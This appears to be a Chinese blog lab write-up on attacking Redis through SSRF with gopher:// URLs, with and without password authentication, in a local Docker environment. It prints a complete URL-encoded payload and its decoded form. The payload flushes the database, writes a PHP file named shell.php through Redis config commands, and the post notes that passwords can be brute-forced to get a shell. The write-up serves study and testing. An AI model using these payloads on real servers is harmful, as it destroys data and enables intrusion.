这篇文章上次修改于 254 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

环境搭建

docker pull ju5ton1y/redis
docker run -d -p 7000:6379 ju5ton1y/redis

漏洞利用

无认证攻击

​ 进入容器设置未授权

sed -i 's/requirepass 123123/#requirepass 123123/g' /etc/redis.conf

​ 然后重启容器

1579253508736

用 Gopherus 生成 payload

1579256320697

发送 payload

1579256118408

进入容器,可以看到文件已经成功生成

1579256225615

认证攻击

先进入容器设置一下密码认证

1579319596497

redis 客户端在正常发送命令时,会带上这条命令用来验证

*2
$4
AUTH
$6
123123 #密码

Redis客户端支持管道操作,可以通过单个写入操作发送多个命令,而无需在发出下一个命令之前读取上一个命令的服务器回复。

构造payload,在原来payload 的头部加上密码认证部分就行,添加 %2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A

gopher://127.0.0.1:6379/_%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%244%0D%0A/tmp%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
// url 解码一下是这样的
gopher://127.0.0.1:6379/_*2
$4
AUTH
$6
123123
*1
$8
flushall
*3
$3
set
$1
1
$22


<?php phpinfo();?>


*4
$6
config
$3
set
$3
dir
$4
/tmp
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

发送 payload( 记得先把原来的 shell.php 删了)

1579320303962

可以看到文件已经生成

总结

​ 平时碰到的都是攻击内网里无认证的 Redis 服务,在有认证的情况下虽然需要知道密码,但是可以通过这种方式爆破出密码从而 getshell。具体的细节原理看 smi1e 师傅的这篇文章

参考

浅析SSRF认证攻击Redis